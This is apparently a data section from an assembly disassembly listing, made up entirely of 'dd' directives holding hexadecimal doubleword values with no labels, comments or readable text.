dd 30072B56h, 5C0035FDh, 7AD46A95h, 24966985h, 406CCF09h
dd 0A71A9ABEh, 6023CA02h, 0C8791680h, 0FCFEAAE4h, 2C84956Ch
dd 3587BF2Fh, 28E3C2F0h, 0B585055Eh, 1D23F8A2h, 4EB604D0h
dd 80D4FD5Bh, 2E937D57h, 0B35D006Ch, 86A9279Ch, 0F51D3CCAh
dd 44680842h, 110E058h, 0C4966181h, 0A8D1B183h, 6F17820h
dd 8C1CA34Fh, 7A78A242h, 0CB1D3404h, 60FC4175h, 0C2C90F0Bh
dd 87002459h, 4E7A3BE3h, 2F2E0017h, 95BD26F0h, 0A95B6451h
dd 0CF80BC24h, 2DE3F49Eh, 3C902A3Eh, 5D010854h, 0F50A114Bh
dd 18CCBC24h, 8AE4BCFDh, 45BCF7F9h, 3F0C8853h, 8F9CEB01h
dd 51E684FCh, 0C80C126Fh, 0BF1E42ACh, 64003971h, 0E2EDCB13h
dd 0F9B91E7Bh, 8B6BC0B0h, 3CA30C83h, 8D00CC99h, 57FB3604h
dd 2AE34C9h, 0F48284E9h, 0C4782A60h, 11607730h, 9FD7E164h
dd 871A44A0h, 2DF0CF9Dh, 2929B438h, 4910B869h, 68918678h
dd 6D415280h, 16B094C1h, 0B12EFE9Dh, 80607898h, 0F5566891h
dd 1C2E6E3h, 64F008A7h, 3562E1A5h, 0FA3C41A0h, 7D3180DFh
dd 0CF76F61Ah, 8CD45B13h, 955CA88Ch, 0C12E0075h, 0DBA03D36h
dd 3A1E0FD0h, 23623C22h, 40C1AE5Ah, 0CEA45116h, 1FDE0E3h
dd 0A663B301h, 70B1D543h, 98330C0h, 8BFC6EACh, 8110F884h
dd 68A9DB9Ch, 23C680C0h, 85F8681h, 33A620B1h, 4036010Eh
dd 4AB3C907h, 4870E784h, 1D0D008Bh, 317AB97Ch, 1938B82Bh
dd 0E0564E32h, 68006CF2h, 8016890Bh, 0BD0F6418h, 60A6FC7Ch
dd 0E411ED93h, 90A806EFh, 0EE8C2D22h, 692AE062h, 805C7BF8h
dd 5C8E3A8Bh, 0AC028432h, 8FFDC734h, 2254C060h, 0A853059Eh
dd 0E952DE65h, 0A28C003Ch, 34BB172Fh, 448B0486h, 0BCAB7510h
dd 284D83A8h, 0CB29C8FDh, 607A0076h, 0BA915BA7h, 0E62D8CF5h
dd 42F4C6F1h, 0C0A05836h, 0D456A005h, 0EC2A0128h, 0C3C05933h
dd 48182CABh, 85A440B8h, 1035E612h, 78AAA0F0h, 0D25BF465h
dd 0ECA210h, 9097BB4Ah, 2AC1D6Ah, 0E6FA4964h, 0E4D389B2h
dd 0F41CC400h, 6F3511h, 6C159C63h, 2E837E5Bh, 0FEB4BD09h
dd 4A287882h, 0A3CC20ACh
dd 4EE4C8Bh, 0D67F5700h, 2463544Fh, 7813008Ch, 375B9C12h
dd 0AE00E22Ah, 4F29C2FFh, 27AF60ACh, 7824620Eh, 0A7F8FC4Eh
dd 1970E6A0h, 0D80107EAh, 20ADFFD1h, 0B4B6A21h, 881F6D75h
dd 0DC2670BAh, 0C3DAA031h, 0FA2D982Ch, 0D3284046h, 0B020D087h
dd 0B4235C79h, 0D9322880h, 55008F31h, 2B575C16h, 3B195242h
dd 22016D06h, 56A55A15h, 42B4257Ch, 0D0F4FA20h, 20952340h
dd 8350C919h, 5F09A880h, 0A70040C9h, 6EBA5A90h, 0A670B2h
dd 0E52B146Ah, 2A1F3230h, 31D0900h, 5201B4C1h, 244F25F3h
dd 0C05D682Eh, 13B1DF88h, 0E50EEDAAh, 204239A6h, 1DBDEE5Dh
dd 8C670016h, 0DB970D93h, 0F1025B6Ah, 0CF18CD62h, 82A8400Ch
dd 5EEBB8BCh, 78CAF5h, 0A66CA05Bh, 0B86EFBB5h, 7F3D3E7Ch
dd 21C0F04Ch, 3225607Eh, 0B0C0FB48h, 90DD4Bh, 0E7A7E961h
dd 1BDC7475h, 1435DE00h, 0AFAB2ACCh, 0F2970951h, 88587EB6h
dd 50C8A85Ah, 0F01800EFh, 0A9576308h, 994EE60Bh, 9678BCC8h
dd 88458E38h, 0C11C0F5Dh, 0B9B1D181h, 22E5D9AAh, 4E286974h
dd 13080928h, 0C8102163h, 9301066Bh, 18FE8758h, 26E8CA79h
dd 68BA2CEBh, 979E6218h, 9F50A740h, 0A3116500h, 4AC3DC91h
dd 0B8CF0686h, 616D0CA1h, 74B988Eh, 3EDA4CCh, 0D214FD13h
dd 74E36031h, 32C41900h, 0F9E8C99Fh, 2FCB0104h, 8B7672ACh
dd 54307AA6h, 39A2F85Fh, 4B0ED91Ah, 0D260BBADh, 0F6702364h
dd 0AF60A2BFh, 32AA2382h, 110CC0F4h, 0A9026D81h, 75BBD609h
dd 2AE10EE4h, 69FC316Eh, 5AB1CA0h, 0C6AE8A4h, 0DD434F60h
dd 0E210A44h, 0BE06CADh, 34A958FAh, 7524A868h, 85E9E100h
dd 0F64F340Ch, 3AB47ADDh, 27092B60h, 0B099BB8Ch, 16B06247h
dd 80065981h, 716423h, 3A622E44h, 5F42EEE1h, 0F799CF00h
dd 70D4B4B5h, 0E6F42814h, 0A310940h, 0C4A73C36h, 284B71Ah
dd 0E0C648A3h, 0FB359804h, 570AC8F7h, 6378C0CCh, 6D05E709h
dd 0EF089C6Fh, 3805B48Bh, 0C0DB4EB8h, 0D0373C6Eh, 8F1BCA3Fh
dd 9747ABE6h, 3A98C0E4h, 901D74EEh, 58F8C5B9h, 960A0ABh
dd 0F4AC170Fh, 432408F1h, 5F88F656h, 0D7A21BEh, 0FE007091h
dd 8F9B906Eh, 250A01A8h, 68640B85h, 0EEF7F81Ah, 0DEFC249Fh
dd 74F2B8C5h, 6ACD8780h, 9E1319BEh, 8047DDE6h, 3A74F808h
dd 0A6A844E0h, 0FE7171F0h, 1F9807C5h, 0F0348D2Ch, 0ABC9E9F0h
dd 540AB094h, 9F839873h, 0E0E2CDD6h, 0B990FC1h, 0E83685AAh
dd 84F170C2h, 5F14B600h, 67462Fh, 433C243Eh, 510EE6F1h
dd 0EE5C6E1Fh, 83A62C44h, 55A2AA82h, 5DB5D80h, 0F051762h
dd 8C64AD50h, 1000CADh, 0A843F7C3h, 365EBCCBh, 48318C88h
dd 73EA44h, 3AEEDD74h, 8C0A2C58h, 0C3715A00h, 79231C81h
dd 16902Fh, 775C4CE1h, 947345C1h, 6624891Dh, 206BF4Bh
dd 0FA8074EBh, 190212A0h, 4C60B2F7h, 61447750h, 2962648Dh
dd 0E80A992h, 4F0B7CA9h, 1F5B40E1h, 9EB541h, 0FAC87609h
dd 0C6B6470Dh, 0F69DC516h, 4CF24C25h, 595B9F07h, 804B9716h
dd 0C809ABB5h, 33057AE6h, 2276B4A0h, 567288Ch, 0C55D91C9h
dd 8BDC8134h, 0A808457Dh, 270C8080h, 0C036C6h, 8D82F1BEh
dd 0ECCCDCDBh, 0DA214302h, 0DC63D601h, 3C334030h, 0D00B245h
dd 3A8C386Fh, 8785A2h, 2991CC53h, 0ADBA8BC1h, 1F419618h
dd 1EA0C220h, 1783B3FDh, 0B5E0470Fh, 0AAF6503Dh, 0C026E6EEh
dd 0D0C0280Ah, 106596h, 0A6976A88h, 0FA2419E0h, 40A9E52Eh
dd 490A1A80h, 4C442E8Eh, 0A5226C28h, 53D333Dh, 196C6DFCh
dd 0B04D7C81h, 0E48BF270h, 0DC881DCDh, 273F82C6h, 0C84146CCh
dd 6E7DD4BBh, 4BB36700h, 50305537h, 0E42A2410h, 0A48F0058h
dd 0A99A86EFh, 93FC4C02h, 80AEEE76h, 0A37B5B08h, 4028C073h
dd 24FF96C4h, 0FCDD6E2Eh, 8B51AA03h, 482CD834h, 1C87E4F2h
dd 81F3A59Dh, 4C736EA4h, 8F08809Fh, 6D2BBE4h, 8D560081h
dd 77546B07h, 21C0B04Ch, 9FF61417h, 697494h, 0C5E31C74h
dd 0B42FD1E8h, 28B58D0Ch, 166E886Dh, 14970F13h, 0EF010CCCh
dd 0F0178E15h, 0F481884Eh, 1A3C8393h, 3D804514h, 0AA1874ACh
dd 87D12018h, 0E551C769h, 1197D1DCh, 4CAFC36h, 64955Ch
dd 475288C9h, 613D1867h, 0F0B5386Dh, 46811568h, 51806F1Ch
dd 9401B80Ch, 4A01F2CEh, 0F3682799h, 2180A94Bh, 0B55CA56Fh
dd 41C36226h, 0A4B12A66h, 29AC7B06h, 4412550Eh, 64AB2068h
dd 18AA06E9h, 0CCADA0FBh, 0B2009C5Ah, 16264C8Dh, 7C71323Bh
dd 0A9592B4Fh, 96AA006Ch, 15C94CBFh, 0CD3D8000h, 4556D3B5h
dd 6708C3D2h, 815F9D2Bh, 6C406CE8h, 832318B4h, 2EC116Fh
dd 3D1CB93Eh, 0A6ED0025h, 686D245Ch, 0B7951D27h, 3A642866h
dd 70D0EFB5h, 22A54226h, 1910A2C3h, 4850D4D0h, 0CFF8C77Ch
dd 4FE71BC9h, 9C25A35Eh, 41EEB5F1h, 80A78C6Ch, 0D1DBAA41h
dd 400EA38Eh, 724457B0h, 4C4F18ABh, 0B60181AAh, 0F6AD4200h
dd 58527838h, 3A020028h, 45A5AC1Bh, 0C7048E77h, 66C2600Dh
dd 0A16F2483h, 0F050EA13h, 0A459EDB5h, 623EE90h, 7B66BC2Eh
dd 3100D97Eh, 349CE429h, 1CDBE510h, 0C08DEC9Ah, 58499E81h
dd 0C80C155Dh, 30746EFCh, 46EC38B3h, 28988829h, 0D3C20032h
dd 0F22122FFh, 80287BB9h, 0B53AC444h, 0C440D02Ah, 79A17C33h
dd 0BE8D880Ah, 98A800E8h, 267034BCh, 1C00B8AAh, 6DF22FB4h
dd 90AC56D7h, 0EF8B0A9Ch, 80A0958Dh, 51AD4AFh, 0CF0097DCh
dd 516A3A80h, 9834F9F4h, 29E4600Dh, 7113E837h, 4A7481C0h
dd 484FC132h, 660A3C0Eh, 83B4980Fh, 3714CF04h, 947788A0h
dd 0A501D8A8h, 615280h, 921070B8h, 78722231h, 0F0D061F1h
dd 7504150Eh, 0BF7CF20Bh, 8EE1B481h, 8FAB4711h, 0C0EED061h
dd 2FFD50CAh, 0AFD33D1Ch, 0F884017Fh, 0CE2B146Eh, 0B65AECF3h
dd 0C1A98C30h, 0E66AA7h, 9935B42Ch, 0D003F4CEh, 0A671C300h
dd 0C912502Eh, 12F3E831h, 0EBC1FEh, 36EC342Ah, 3F05B9FFh
dd 75F1B57Fh, 89778040h, 0F571504h, 0BD98704Fh, 602A0347h
dd 8E27EEF3h, 0C8A401B8h, 93AEF102h, 614F9B1Dh, 9210A7A8h
dd 900ED55Dh, 0A2C8405Ah, 6688F515h, 877C1704h, 3ECFBCB8h
dd 1C5D24EDh, 0A6ECA586h, 32AA26D9h, 14CE4040h, 0CA019926h
dd 0EE7B2C21h, 298792B2h, 99A95B0Eh, 6666E40Fh, 8F01192Dh
dd 0AA1448A0h, 49A4AD24h, 8E11A0h, 2FEE7D79h, 1FEF03AEh
dd 4C7C39F7h, 4C2188F0h, 7949B460h, 2A82AD3h, 0B750757Ch
dd 0A14074C5h, 0CF909DD1h, 68F1FD24h, 66110B51h, 1804622Ch
dd 0FC89A57Bh, 35A20025h, 21F84887h, 31C06188h, 0E41F6049h
dd 0A696003Bh, 517ABECEh, 0C6042B69h, 77E13F80h, 44BB7C80h
dd 34668257h, 0CE006BEEh, 218338D7h, 1EC2BDE4h, 0D4EC23C1h
dd 0F183988Ch, 7180CC25h, 2491E65Dh, 55FBB280h, 1C8D43h
dd 45381E6Bh, 0A5B414B3h, 65164174h, 5B000CDAh, 0D7EBC003h
dd 7106011Ch, 0F4CAB126h, 139422D2h, 0B02127B5h, 0C84C1566h
dd 63F10029h, 0AF6F46D5h, 8D223332h, 0AB5009AAh, 0F28FDC2Ch
dd 3E89980h, 7000E9E1h, 0C1147A15h, 19462h, 0A36FF263h
dd 4956BB59h, 1B0AFA02h, 0C419AA2Ah, 0E7A51BE8h, 0F4E75994h
dd 6D0CB6Fh, 7015EE37h, 2C4C78A9h, 51389132h, 40C106Dh
dd 380E9006h, 0C9805181h, 9F1DB5AEh, 0C00087B4h, 0BEDA4EBAh
dd 3B8A1453h, 0C43E32ADh, 1BD8EC00h, 15977BDh, 178D583Dh
dd 100855A1h, 7622809Ch
dd 61D23253h, 0F2EA3500h, 43B80CEh, 7FC11428h, 0C84C98D0h
dd 6A878876h, 600D99CFh, 0D2C15AE2h, 598F04Fh, 0ECBCD56Dh
dd 3648434h, 994CF470h, 1DD87152h, 313E7B1Bh, 9E3F19B3h
dd 8909627Ch, 0D00B45C6h, 1624A405h, 813008A0h, 0B4406844h
dd 5416F652h, 80E7153Ah, 0CFD75A99h, 58B5AF11h, 0C48FBC24h
dd 3819FE60h, 90303C6h, 1BA63775h, 60C4B5FDh, 10AEB4C2h
dd 8C886528h, 0B8D8A8ABh, 421D07BEh, 0C08D644Bh, 294D722Bh
dd 4E283A0Bh, 0F0D08840h, 0ACD8B6E5h, 886600B5h, 68930E3Bh
dd 0C9153A15h, 96F819CAh, 41ACE00Ch, 0B20C0329h, 4B6FE6Ah
dd 0EB60D2FAh, 3C72ACC5h, 0A3008078h, 0DB976FEBh, 3A9B4DEFh
dd 140087C9h, 444B3DA4h, 66608680h, 227BEA81h, 0DA3503D1h
dd 8979754Dh, 2912A08Fh, 1D24BBC7h, 1B40A07Dh, 0FF94165Ch
dd 3D216831h, 7D3019BCh, 43DA40A9h, 0C83F6000h, 0A147513Ch
dd 1107305h, 268412B9h, 24B663E9h, 0EF1FFEB4h, 0E0A4E3B3h
dd 8803D300h, 6A5D7F3h, 644C8155h, 8B0558C7h, 9E1466CDh
dd 7526C421h, 30B17B13h, 0A520741Eh, 0B4E853h, 0AF49FA6h
dd 14C36B9h, 6829E270h, 0DC6B19F3h, 356A6414h, 9860A819h
dd 16087Dh, 241BA5F8h, 0AC55DAC1h, 0C07880D1h, 6C7F5F65h
dd 0FF7E002Ch, 0CA58B926h, 73032DB0h, 0ECA4682Fh, 4C9118FEh
dd 0BD3E41B2h, 4B35CC03h, 0F09B02FBh, 7413E7E4h, 532002CDh
dd 1BF0A5F1h, 1DAAE0C8h, 0CC60B091h, 5A2393h, 4D21564Ah
dd 0D0ADDD3h, 98B6F200h, 17AA46E2h, 5860B2DEh, 0EE00F057h
dd 0A5E47714h, 0A30345EBh, 5D15AAB8h, 0C019523h, 19E9BF78h
dd 0EC019072h, 0AD7001D6h, 5F307057h, 65F719C0h, 9CAB39h
dd 0F63FBFBBh, 7842AD0Bh, 0D9D64403h, 0C1207299h, 0D460CDEBh
dd 0B4D328F1h, 800C99FCh, 7CCC01ADh, 0F000DFABh, 0F233084h
dd 0A08638A7h, 0DE2C34h, 3EEB4054h, 0FA91C14Eh, 3F057000h
dd 93DC30E3h, 88AB09BCh, 24A04B8Ch, 4029F537h, 6B23F313h
dd 0AF133421h, 5E3041E1h, 0BB7A05FEh, 8032A042h, 88F20324h
dd 6001934Ah, 0E6A60459h, 0D0504C62h, 0A9F21C91h, 0E4154165h
dd 600DCD5Bh, 27136A3Dh, 0E42023AAh, 583AC7CFh, 130B30E1h
dd 3C117018h, 0B1B9176Ah, 808CCEFCh, 8730C3E0h, 3A775406h
dd 321A87Ch, 12D5D8F9h, 0ED804881h, 0C0194E39h, 2C30C4E0h
dd 8B01902Ch, 1AAA4391h, 34F1A66Eh, 19827338h, 0D6E007B8h
dd 21B00F2h, 0F8D0EA9Ah, 2C03534Bh, 1EAD3C91h, 0A68009F4h
dd 28C5EEA5h, 0E54A6B00h, 4EFE60Fh, 0F0B64F38h, 66B891A6h
dd 88482C11h, 0B8E07023h, 1332BCB0h, 2179E956h, 0F421093Ch
dd 2A003B40h, 994F5460h, 0E0ED9177h, 19660214h, 1692B406h
dd 89E8F861h, 823852A9h, 0AFEAF0E8h, 22FB87D8h, 63E1EDD2h
dd 7C3CC024h, 3FCB2D8h, 421E9CEh, 0B904B5BDh, 0B38A9473h
dd 887C2CE0h, 0C1C06387h, 28106B20h, 36A75ABh, 72D11118h
dd 9B9257F3h, 31B52A40h, 0B4175600h, 136760CBh, 14AA4DD9h
dd 4A05A7C0h, 0E9007459h, 0FC64B560h, 79D08ABCh, 40AC4CEDh
dd 9B5B40C0h, 1E71D5E6h, 0C1275900h, 0AF16B8EDh, 0F2A525EAh
dd 88D2142Fh, 0E019F5Ch, 0CFFC6768h, 0E08A037Dh, 0D80A639h
dd 0D4E0940Ch, 0F0071C6h, 0A5EFFF01h, 96CFB004h, 0A83801ACh
dd 10A27D36h, 675378h, 0F8D655C6h, 54B78AD2h, 0F3AA3100h
dd 14B6A232h, 551F2A4Ch, 0C5AB44E4h, 0C2AF0A02h, 0C44C5CE6h
dd 0B7771F1Ch, 2A95C541h, 22E009ADh, 3F006894h, 542375EBh
dd 1E447A7Bh, 49B8AC3h, 0C4AFABC1h, 99A08C1Ch, 7EB3FF01h
dd 0DE70D808h, 248611C8h, 2E023C1h, 1363094Eh, 23430051h
dd 70BE0588h, 40AD8CD0h, 24412AA4h, 0AF48D33Dh, 0B8292EB7h
dd 0EE782700h, 92F4C0h, 0BC500EB8h, 7921B5DDh, 31D04418h
dd 74619Eh, 4CB8E252h, 0F4CF0342h, 3A584904h, 2CCCE59Eh
dd 644F00A3h, 6341EAAh, 662CB65Dh, 0EF64682Ch, 78D8020h
dd 26675409h, 4FF066B4h, 0DA1C404Ch, 106C5668h, 0ECD0DB00h
dd 7D1E5803h, 290013Ah, 6B8B63FCh, 0E3EC3055h, 43C7F00h
dd 0C807244Ah, 7CB07Ch, 0C12937FFh, 8E260DCEh, 440B7EE8h
dd 98753024h, 262F314Ch, 40002D67h, 0A07A3D23h, 14D7FC00h
dd 0ACF004AFh, 0C2681238h, 15C40F39h, 2E23B400h, 1F00C72Ah
dd 0DCD1F481h, 6C1FC07h, 49F565BBh, 231811DDh, 7C292986h
dd 5DD40D28h, 2C083D45h, 27B28098h, 9352B75h, 4BD0619Ch
dd 953E30E8h, 1F74E65Ch, 400033D7h, 0B7911E06h, 0D28100B8h
dd 0D5A156ABh, 0E21E55DDh, 0F3C049BDh, 93EEE11Dh, 52253E41h
dd 0ED723D80h, 0B59D0283h, 24567601h, 7C3977DEh, 9300B022h
dd 0BB528D32h, 2F0BF7C2h, 82906DFAh, 607913B8h, 0B2F88ECCh
dd 0BD932074h, 5422AF4Fh, 8D64409Ah, 0F4E100A9h, 853B60BEh
dd 0D003655Fh, 1527194Dh, 0F0A4B918h, 1C8EB43Ch, 3F89C52h
dd 4E7D5500h, 2A5ECF36h, 8895645Dh, 39BCF22Eh, 0AE5A00EDh
dd 69FACF4Bh, 0B1E8009Bh, 7589ADFEh, 450055C4h, 4C6AC77Ah
dd 48B642DAh, 3AC14022h, 71684E48h, 7852CAA8h, 9321200h
dd 4C3735DDh, 51200045h, 696C43E8h, 5A3C2A2Fh, 0AA88D0B7h
dd 0C5C3550h, 8E9F203h, 0F651ED0h, 753A146Ah, 48102DBFh
dd 2E60F1FDh, 0F3602730h, 262A4EB5h, 0CD0430FCh, 86596266h
dd 16DC18C9h, 0FEC903B2h, 112F767Bh, 8CCE4CD0h, 0A31D1C91h
dd 29BC8B80h, 17B42C21h, 403917A9h, 33F4CE88h, 0F00BA722h
dd 902AB607h, 1760D14h, 2614B1E7h, 405C1C18h, 9CB9CE84h
dd 1D27D805h, 280C0437h, 1C52A907h, 45AC18AEh, 82F091CBh
dd 0F459FEC0h, 8728A911h, 81EF0034h, 0C793B6E0h, 993A717Bh
dd 9C8858DCh, 68ED833Dh, 0A85F9F46h, 240A2021h, 2A043D9h
dd 65DA6194h, 33C1A4C0h, 1438B148h, 0C1C43037h, 0A324AA77h
dd 38E8A511h, 471A883Ch, 0E400E955h, 7C140E58h, 882E972Eh
dd 56B2070Fh, 608744C8h, 0FCB5B967h, 0BE009224h, 0E49CC12Bh
dd 26171A76h, 45D01067h, 7F08887Bh, 24480E00h, 7539C3AEh
dd 0CEF1095Ah, 2CE82BB5h, 0F0485F13h, 0AF340114h, 394C153Bh
dd 2224FC6Dh, 254E6004h, 0B80064CDh, 0E5B4F29Ah, 734101A1h
dd 75C78E4h, 69C803ABh, 495A01D4h, 0B6208072h, 0ED0CC5ECh
dd 7F871D4Dh, 6939707Bh, 0E8E8FC7Eh, 24077AF0h, 0C78EE4Dh
dd 0F27943h, 2E725919h, 3D63AB9Dh, 36874707h, 4412CA5h
dd 488099EEh, 7D5AD7E8h, 0F10EEA80h, 0E01CA496h, 0F93E7BCBh
dd 745300E1h, 0A2867275h, 0D40748B0h, 4CBAF161h, 88408Ch
dd 8B657703h, 0EDDF041Eh, 8C59C569h, 0FE958941h, 75450044h
dd 5740BCAEh, 0EB3D909Eh, 687B03E6h, 0B84E1134h, 689251Dh
dd 0BD82B31Eh, 8670101Ah, 0D6B7F318h, 0CF9CF1F9h, 25606F61h
dd 5B8E73BFh, 962CFD00h, 0BD7F2044h, 3BB90CE0h, 18037D8h
dd 0D63AE600h, 0C5094C25h, 0FC803EF2h, 0D7E16086h, 0A1005118h
dd 5551B505h, 5D090E4h, 49D25888h, 0D8C421A2h, 9E518031h
dd 684156D9h, 40AF007Bh, 1D43E442h, 19071BC2h, 0D565EBB7h
dd 892A0481h, 39E9D8h, 84463CCFh, 0D45661EEh, 0B2C0D1DCh
dd 0BAB3E232h, 0D707034Bh, 88DDD82Ch, 0F163CAE0h, 0A8A1B160h
dd 774BE9Dh, 0DE053BFAh, 9E3350BBh, 8C29C979h, 0EE80FC23h
dd 5ED6440Dh, 0A27A0161h, 75FECA91h, 0C07FF1FAh, 7038EA2Fh
dd 604D00FCh, 4F7980ECh
dd 411500D7h, 7A0D212Dh, 890EC23Dh, 0EECF3B5h, 66A6617Ch
dd 0B981D156h, 0D5BFF7EFh, 4EFC8114h, 407851E8h, 86308080h
dd 0A9EF9EDh, 1DDE2E00h, 80E7813Dh, 0E50CA07Eh, 55AD0F18h
dd 49203A30h, 10634817h, 3700C6FAh, 0BF67DFF7h, 95D7D15Eh
dd 45060C78h, 71E626B0h, 2710F788h, 0BE0453A3h, 0CE3FA9B7h
dd 806548C3h, 0F8BD4E98h, 90EA6645h, 690F31D5h, 0AEED6478h
dd 667E02DAh, 76088360h, 0F378C92Dh, 9511A450h, 54791Dh
dd 0B3517244h, 97BAD7BDh, 9859B503h, 0FBD09919h, 2E3100F7h
dd 0C4A7D7E3h, 0CE002151h, 0C63D4056h, 55ACBE69h, 3010E4A5h
dd 12615CCBh, 0A0999325h, 0E20EAEFCh, 0C240F2DBh, 40B41DC5h
dd 917C803Ch, 788804FCh, 9B00562Ch, 0DF628D6Ch, 1A8C005Eh
dd 43E1DCE0h, 53007E2Fh, 65A18B85h, 677BC2h, 15DE3088h
dd 0CAE4CC49h, 4D80E600h, 0E95DC602h, 675900E5h, 58BC9116h
dd 0AE06A6C9h, 0A74F3061h, 4248A0B9h, 0FF3230D8h, 23DF0981h
dd 19F92509h, 0BF6C82B1h, 2088206Dh, 770C5CCFh, 28DE68B7h
dd 0BC1744D9h, 28A21920h, 3C6820D3h, 41605961h, 283F7DB6h
dd 7C304700h, 3A5B79C5h, 386B301Ah, 0F817D750h, 83EB1CA0h
dd 4AD32005h, 0B3FC9A33h, 63810100h, 37D0DC49h, 0C9A4F130h
dd 31D1A1E6h, 68E00CD4h, 4978089Dh, 6F7CF03Ah, 5F898955h
dd 3E0B487h, 210033D9h, 15D56A3Bh, 97D6F6h, 67A535A9h
dd 124C3CB9h, 44691000h, 801D248Bh, 71702462h, 0C50F0342h
dd 0E1C8A64Ch, 0E004E8Ah, 5F5C53F1h, 1C62D78h, 5735BDFDh
dd 8E14BE1Bh, 0C0468210h, 29EEF39h, 98CEEF3h, 0D11D2DA0h
dd 50FCA806h, 1083DD00h, 0B5860CBCh, 0F91F1FD7h, 0C4FB401Ah
dd 5118E0F4h, 14E18303h, 0E0D4989Ch, 1D5249h, 9AB0F335h
dd 8E064108h, 0D0BEF118h, 0E123D3F9h, 50DEB048h, 1D6AA888h
dd 83F24FC7h, 0CAAFF986h, 34782005h, 181C494Ch, 804F4E0Fh
dd 79254568h, 77BD13F1h, 99E048A0h, 8F5F9480h, 12EFD4DDh
dd 207920E3h, 40DC89A4h, 7D3D8178h, 2050766h, 0E075B2F1h
dd 254A9C90h, 0BDF212B3h, 0E1244014h, 6C2FB4CDh, 0A507D49h
dd 0D83D80B2h, 7F254986h, 0D3304488h, 0DE00FC9Bh, 2ED0208Ah
dd 0B8210038h, 82CFDB5Fh, 940685DDh, 0AB4F2FBDh, 1831E631h
dd 119BEDE0h, 6E03C916h, 432A9C59h, 9596980Ah, 0D3440202h
dd 816A70DDh, 0FE188C60h, 81A11D37h, 0B6D1878Eh, 3109EAD0h
dd 19B4636Ch, 9978F078h, 0EAA4800h, 30B3E90Ah, 19A90065h
dd 5A4507BFh, 0EC072F75h, 0CFCD22BBh, 21656DF0h, 0A4E849F4h
dd 808AFDC0h, 0C1008212h, 7DC47438h, 3CA57C6h, 7EA7DB68h
dd 8EB0DE1Bh, 6D152F80h, 11A00326h, 944C3779h, 91E76207h
dd 0BE6C00B6h, 451C63Ch, 7076F9CCh, 16DB2140h, 8CFBA831h
dd 29591244h, 75F02079h, 0FD7F45CDh, 0C306F41Fh, 95DE6F80h
dd 3E47859Dh, 287D276h, 0A0EE6D0Ch, 87D0125Eh, 0D95DBF00h
dd 79E49358h, 0E2680E15h, 0CE002607h, 0D882DA17h, 9B21992Ch
dd 77B1FB00h, 0E5590ECh, 4D10DC7Eh, 5414C903h, 58991002h
dd 201294A2h, 0F4824411h, 903D681Bh, 16E0E730h, 772645Ch
dd 0B7A1BE5h, 0C8A7E0EBh, 0BE7E9FD3h, 41B6C630h, 38E54C70h
dd 0F380F75Dh, 7FCB0F3Dh, 78092C67h, 8114A101h, 640BD8B1h
dd 608FD2D1h, 0D7E6D57Eh, 0DD3870F3h, 0B46B06B2h, 21E867h
dd 0C0E2D1EEh, 0F6346533h, 25BDB004h, 9040F068h, 2847B817h
dd 9BDF4E00h, 52B4F5F2h, 0D6C10071h, 25D4B35h, 0CA522EE0h
dd 70117484h, 1060C82Dh, 0AC28E04Eh, 1EC5D818h, 39423319h
dd 0F9012DD6h, 0D3E5C9C6h, 39B1ECBCh, 186B8E18h, 54D91F29h
dd 0CDE9880h, 8413673Dh, 9F1EFF11h, 0CC78CBDh, 0C8044F11h
dd 87DB6F23h, 96E82900h, 0D488C69Ch, 30C598BCh, 3D600E23h
dd 0A9C059F8h, 1B557017h, 3AD1018Ah, 928DB56Ah, 5DDEE86Eh
dd 4906EE00h, 0FF638627h, 0EB90A8E2h, 1874A399h, 11275E30h
dd 19C066F9h, 39285116h, 9E00757h, 504FBCFDh, 7A0A129Ah
dd 77FF748h, 8D82FB60h, 11520943h, 0C7FD6F9h, 591CC673h
dd 0FCD50008h, 3640EDDh, 18C00DBFh, 7B35F9D2h, 890F64DCh
dd 0B2604712h, 8006785h, 2FE0279Bh, 48377099h, 938158A0h
dd 2063833Fh, 653ADA28h, 0F9F86044h, 3A9CA08Fh, 91E03D81h
dd 476BFED4h, 2EE57000h, 8C34A693h, 1EEC00E6h, 2DDF6C07h
dd 9EE03599h, 23D30A9h, 67082C1Ch, 4EA4F154h, 11303B00h
dd 0DDA25D6Bh, 0FF710068h, 5462B3A9h, 96159822h, 0C82CC62Bh
dd 5993091h, 0B01D34E9h, 0B40AF907h, 96033066h, 0A8CB6F0Fh
dd 447BFh, 7A18EBE3h, 9A7681ECh, 598C7D00h, 22914296h
dd 68FE07h, 3CCF70D5h, 783DF2C1h, 0A4D97324h, 1F06BA9Ch
dd 97987D8h, 13713CDEh, 98C43900h, 0D01F0DDFh, 81710663h
dd 8E1BCD8h, 913C4840h, 0F4C8033Bh, 0E3669F8Dh, 21771900h
dd 9105E84Dh, 44DF3DAEh, 8328BCA6h, 0D564A260h, 83669B0h
dd 3B1BBD19h, 0F8800738h, 0DBFD6F05h, 0E64467ADh, 5C2400E3h
dd 0CC1C2EA9h, 9002B39Ah, 94EBEF4Fh, 4DA448D0h, 0D088F1BBh
dd 6713DD6Ah, 80DE0020h, 24B10095h, 9FD6C94Bh, 0EF004499h
dd 13A4F2ABh, 31F6EC38h, 6E40C5BAh, 197300E8h, 26339FBh
dd 889420A4h, 5086559Fh, 0FE30BFBBh, 0F24084E0h, 0D421406Bh
dd 0A2909B14h, 1415E2F8h, 5C687724h, 0F665D400h, 0C0E144D5h
dd 58D65FC1h, 28C31105h, 18236B8Dh, 9162F949h, 0A7061EFEh
dd 4E1DCF04h, 0B7CA3916h, 67F98709h, 65D35400h, 4355D5F5h
dd 906DE2Ch, 16C63081h, 52DEE159h, 0A57F137Dh, 70A78DDh
dd 1465CBEh, 8ADB2CD0h, 10282471h, 569084E4h, 9FDFB440h
dd 9D62DD1Fh, 80C5DE39h, 74F05860h, 97EA0F2Ch, 4FA07220h
dd 0AB6317BDh, 0FAA09A04h, 6881D948h, 71E45226h, 62460249h
dd 0E42E3195h, 61F95883h, 78267100h, 0A10DB3D1h, 0D6FE00B0h
dd 3F285B5Ch, 4B6AA8E7h, 3788DC30h, 103BADDh, 703597DFh
dd 0C0E1C822h, 11BC2D78h, 3200A471h, 8438D0B4h, 53045Ch
dd 210EA97Dh, 743CC8FFh, 14686116h, 0E0496423h, 106390D7h
dd 180ED603h, 73B11BC6h, 0B7C000FEh, 3CA6EB10h, 810C9941h
dd 2053C82Ch, 4456060Fh, 0D968F935h, 0DD08D900h, 9B7918BCh
dd 334F008Bh, 0DADF7F2Fh, 400FC61Ch, 62E484h, 0FC3C3603h
dd 93EB1885h, 893D4163h, 95DBC0A8h, 0E09E2400h, 0FAE4A0Ah
